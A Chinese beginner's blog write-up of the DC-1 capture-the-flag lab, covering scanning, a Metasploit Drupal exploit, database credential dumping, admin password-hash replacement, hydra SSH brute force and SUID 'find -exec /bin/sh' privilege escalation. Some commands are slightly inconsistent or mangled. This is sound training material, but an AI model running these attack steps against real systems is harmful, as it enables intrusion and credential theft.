前言:听了朋友的说渗透可以快速入门,心血来潮去刷了DC-1这个靶场,结果老实了,跟着wp做了一遍,许多不懂的地方就去搜知识点,记了个笔记也是花了1天左右的时间。
顺便水一篇博客
借鉴的WP:
DC-1靶场搭建及渗透实战详细过程(DC靶场系列)
开始渗透之旅:
前置:
DC靶场网上一搜就能搜到,这里就不放链接了,这里说一下我在配置好靶场后遇到的问题
kali连不上网:
这里涉及到了虚拟机net模式和桥接模式,我不是很懂这些配置,然后连校园网的时候使用的桥接模式,导致虚拟机一直连不上网,搜了好多博客还是一个学web朋友教我的,感谢Archie_x✌,更换net模式后用
service networking restart
这条指令来进行重新打开网卡,可以上网了,这里贴一篇,net和桥接的区别
“桥接”和“NAT”方式区别
然后就是靶机和kali在同一个网段,否则kali扫不出DC的主机, 我设置的为net模式
1.信息收集
(1.)探测目标IP地址
可以使用三种工具三种指令来进行扫描IP,arp-scan、nmap、netdiscover
· arp-scan
arp-scan -l
主要用于扫描本地局域网中的设备,通过 ARP 机制获取同网段设备的 IP 和 MAC 地址,帮助了解网络中的活跃设备情况
-l: 参数使它自动检测本地网络接口,对所在子网主机进行扫描,发送 ARP 请求获取响应来得到设备信
此时我kali的IP为192.168.18.128
这里扫出来四个IP,如何判断这个是靶机IP呢,打开靶场的网络适配的高级设置
在靶场的网络适配器高级选项中可以看到靶场的MAC地址:00:0C:29:57:CA:F5
则靶机IP为:192.168.18.132
· nmap
nmap -sP 192.168.18.0/24
这行指令是网络扫描工具 nmap 的一个指令。nmap 用于探测网络相关信息,-sP选项表示进行 Ping 扫描。
目标地址192.168.18.0/24指定了要扫描的网络范围,/24表示子网掩码为 255.255.255.0,扫描的 IP 地址范围是从192.168.18.1到192.168.18.254。(192.168.18.0和192.168.18.255有特殊含义不能当做IP地址)
· netdiscover
这个工具就是纯爆破挨个试,看哪个IP能连接
(2.)探测目标IP开放端口
使用nmap来探测
nmap -sV -p- 192.168.18.132
-sV 扫描目标主机端口上运行的软件信息
-p-扫描全部端口0-65535
这里wp说的是22和80端口是突破,我没咋看懂,这里搜了一下
22 端口
远程管理: 22 端口主要用于 SSH(Secure Shell)服务,系统管理员通过 SSH 远程登录服务器进行管理操作,如执行命令、配置系统和传输文件等,保障了远程操作的安全性。
安全通信: SSH 协议在 22 端口上运行,它对通信数据进行加密,防止数据在传输过程中被窃取或篡改,这对于企业和云服务的数据中心管理至关重要。
80 端口
网站访问: 80 端口是 HTTP(Hypertext Transfer Protocol)协议的默认端口,几乎所有的网站都通过 HTTP 协议在 80 端口上向用户提供网页内容,是用户访问网站的主要通道。
网络服务基础: 大量基于 Web 的应用程序和服务依赖 80 端口来提供服务,包括在线购物、内容管理系统和网络应用接口(API)等,确保网络服务的正常运行。
(3.)网络信息收集
打开ip网站,利用火狐wappalyzer,查看站点信息
利用whatweb也可以扫出来
whatweb -v 192.168.18.132
whatweb是一个用于识别网站所使用的技术栈的工具。当你在命令行中执行whatweb -v 192.168.18.132时,它会尝试探测 IP 地址为192.168.18.132的主机上所运行的网站相关技术信息。
[whatweb详细使用教程]
这里解释上面一下获得的信息
CMS是Drupal
CMS 是内容管理系统(Content Management System)的简称,是用于创建、管理和发布数字内容的软件应用程序,能让用户方便地更新、编辑网站内容,处理多种类型内容并进行分类等操作。
Drupal 是用 PHP 编写的开源内容管理系统,它具有高度灵活性和扩展性,可以构建从简单博客到复杂企业级网站等各种类型的网站,是众多 CMS 中的一种。 “Drupal 是一种 CMS”。
Apache2.2.22
PHP 5.4.45
JQuery 1.4.4
2.漏洞查找与利用
此时以知CMS Drupal是存在漏洞的,用kali的工具进行漏洞查找
(1.)漏洞查找
利用开源渗透工具Metasploit寻找漏洞
Metasploit
search Drupal
search Drupal
从名字上也能读出来,利用这个渗透框架搜索Drupal漏洞从名字上也能解读出来,利用这个渗透框架搜索Drupal漏洞
包含各个年份的漏洞,年份月近,漏洞等级应该越高(猜测),参考的wp使用的是18的,但是最新的是19的,我想自己试试看
(2.)漏洞利用
2019年漏洞(已修复)
Current Setting一列是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
所以RHOSTS这里需要设置内容,即攻击目标IP地址
set RHOSTS 192.168.18.132
攻击指令
exploit
报错,chat查了一下,LHOST没有设置,这个要设置攻击机的IP也就是Kali的IP
ok老实了,chat跑一下结果,分析分析
最终结果是此次利用 Metasploit 针对目标系统的 “unix/webapp/drupal_restws_unserialize” 漏洞的攻击尝试失败了,虽然漏洞利用流程走完,但未创建会话,因为自动检测判断目标系统不存在该漏洞,若仍想尝试可考虑启用 “ForceExploit” 选项再次发起攻击。
老老实实用18年的
2018年漏洞
出现Meterpreter session 1 opened(kali和目标IP连接),说明攻击成功,上shell
(3.)Getshell
shell
获取交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
flag1内容: 每个好的CMS都需要一个配置文件,你也一样
Drupal配置文件: settings.php
找到了flag2和数据库账号密码
flag2:
- 暴力破解和字典攻击并非获取访问权限的唯一途径(而且你肯定需要获得访问权限)。
- 利用这些凭证你能做些什么呢?
3.数据库渗透
由上面得到账号密码:
mysql -udbuser -pR0ck3t
show databases;
使用改数据库,查看表
use drupaldb;show tables;
查看User这个表
select * from users;
得到两个用户
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
可以通过修改admin或新加一个admin来登进后台
忘记Drupal的管理员密码的解决办法
有两个方法(这里我暂时不会sql注入,所以法2不会)
方法:
先找到加密文件,Drupal的加密脚本路径
/var/www/scripts/password-hash.sh
涉及到代码审计:
这里设置密码为123456
php /var/www/scripts/password-hash.sh 123456
然后进入数据库,修改admin和Fred的密码
usedrupaldb;updateuserssetpass = "\(S\)D8ZyT1SatJ4QPyvJ5Sn/zKKDQXUYdb7sKwktu8g5dzc5UXpc4kZZ" where name = 'admin' or name = 'Fred';
打开网站:
flag: 特殊权限(Special PERMS)将有助于找到密码文件(passwd)—— 但你需要执行(-exec)那个命令,以弄清楚如何获取影子文件(shadow)中的内容。
提示passwd和shadow
该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
Linux /etc/passwd内容解释(超详细)
/etc/shadow
该文件存储了系统用户的密码等信息,只有root权限用户才能读取
Linux /etc/shadow(影子文件)内容解析(超详细)
4.用户密码爆破
SSH:
SSH简介及两种远程登录的方法
利用工具Hydra爆破flag4的密码:
密码暴利破解工具Hydra(海德拉)使用详解
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.120.128
-l:用于指定用户名。在这个命令中,用户名是flag4。
-P: 用于指定密码字典文件的路径。这里的密码字典文件是/usr/share/wordlists/rockyou.txt.gz,不过需要注意这个文件是压缩格式的。通常rockyou.txt是一个非常大的密码字典,包含了大量常见的密码组合。
ssh://192.168.120.128: 这部分指定了攻击的目标服务和目标主机的 IP 地址。ssh表示攻击的是 SSH(Secure Shell)服务,192.168.120.128是目标主机的 IP 地址。整个命令的意图是使用hydra工具,以flag4为用户名,用rockyou.txt.gz中的密码尝试对192.168.120.128上的 SSH 服务进行登录破解。
用kali去连接
ssh flag4@192.168.18.132
用户flag4密码时orange
flag4: 你能用同样的方法找到或获取根目录下的那个标志吗?很可能可以。但也许没那么容易。又或许其实挺容易的呢?
5.Linux提取
需要用到SUID提权
简谈SUID提权
利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
-perm: 用于按照文件权限来筛选文件
-u=s: 表示查找那些设置了用户(属主)的
suid
(Set User ID,设置用户 ID 位)权限的文件。简单说,具有这种权限的可执行文件,在被普通用户执行时,会临时拥有该文件属主的权限,而不是执行这个文件的普通用户原本的权限,这在一些情况下可能涉及到安全相关的特殊配置或者权限提升等情况。-type f: 表示只查找普通文件(file),排除目录、符号链接等其他类型的文件。
2>/dev/null: 重定向操作,“2>” 把标准错误输出(文件描述符 2)定向到 /dev/null 这个特殊 “黑洞” 设备文件,作用是丢弃错误信息,使终端不显示查找时如权限不足这类错误提示,让命令结果输出更简洁,仅呈现正常查找结果。
find比较常用,可以执行root权限的命令查找文件
find / -name index.php -exec "/bin/sh" ;
#!/bin/sh简介
总结
第一次去打渗透,然后好多都不会的,虽然渗透不需要语言基础,但还是涉及到不少web知识,包括kali指令和工具使用,但是感觉很有意思,一步步的渗透进主机里,最终getshell然后提权,不知道实战是什么样的,果然网安这条路就是要多学多练多做